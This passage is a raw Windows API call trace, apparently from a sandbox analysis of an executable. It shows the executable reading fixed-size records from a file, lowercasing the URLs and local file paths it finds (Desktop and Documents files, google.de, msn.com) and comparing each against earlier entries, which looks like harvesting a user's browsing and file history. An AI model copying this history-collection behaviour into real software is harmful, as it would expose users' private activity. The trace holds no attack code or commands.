(in: hFile=0xc4, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300 [0068.994] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.994] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.994] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300 [0068.994] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.994] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/cISVwXWmuvNvNDM.jpg" | out: _Str="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg" [0068.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 54 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned -1 [0068.994] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https:url \x02") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="http://www.google.de/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="http://www.msn.com/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="https://www.google.de/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.995] wcslen (_String="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 0x35 [0068.995] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400 [0068.995] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.995] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.995] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400 [0068.995] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.995] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/RL27mS.mkv" | out: _Str="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned="file:///c:/users/aetadzjz/desktop/rl27ms.mkv" [0068.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 45 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https:url \x02") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="http://www.google.de/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="http://www.msn.com/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="https://www.google.de/") returned -1 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/desktop/rl27ms.mkv", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.995] wcslen (_String="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 0x2c [0068.995] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500 [0068.995] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.995] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.995] SetFilePointer (in: hFile=0xc4, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500 [0068.995] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.995] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/kpRhFe62wLyHm_gju5i.xlsx" | out: _Str="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx" [0068.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 61 [0068.995] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https:url \x02") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="http://www.google.de/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="http://www.msn.com/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="https://www.google.de/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.996] wcslen (_String="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 0x3c [0068.996] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0068.996] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.996] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.996] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0068.996] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.996] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/yuLsb9JD4.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx" [0068.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 51 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https:url \x02") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="http://www.google.de/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="http://www.msn.com/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="https://www.google.de/") returned -1 [0068.996] wcscmp (_String1="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.996] wcslen (_String="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 0x32 [0068.996] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0068.996] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.996] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.996] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0068.996] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.997] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/g_3izHwQ87.docx" | out: _Str="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx" [0068.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 52 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https:url \x02") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="http://www.google.de/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="http://www.msn.com/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="https://www.google.de/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.997] wcslen (_String="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 0x33 [0068.997] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0068.997] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.997] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.997] SetFilePointer (in: hFile=0xc4, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0068.997] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x180, lpOverlapped=0x0) returned 1 [0068.997] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/j7VqvazuU4/1jX4GuS1oH/1wkvceOJZvfWRnXVCrwl/et-Ndsu%20foj42n/AAqhi024a_Y_t2MZeEd.jpg" | out: _Str="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg" [0068.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 119 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https:url \x02") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="http://www.google.de/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="http://go.microsoft.com/fwlink/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="http://www.msn.com/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="https://www.google.de/") returned -1 [0068.997] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.998] wcslen (_String="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 0x76 [0068.998] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0068.998] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.998] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.998] SetFilePointer (in: hFile=0xc4, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0068.998] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.998] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/_r0qj/uVDUw5.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf" [0068.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 53 [0068.998] wcscmp (_String1="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned -1 [0068.998] wcscmp 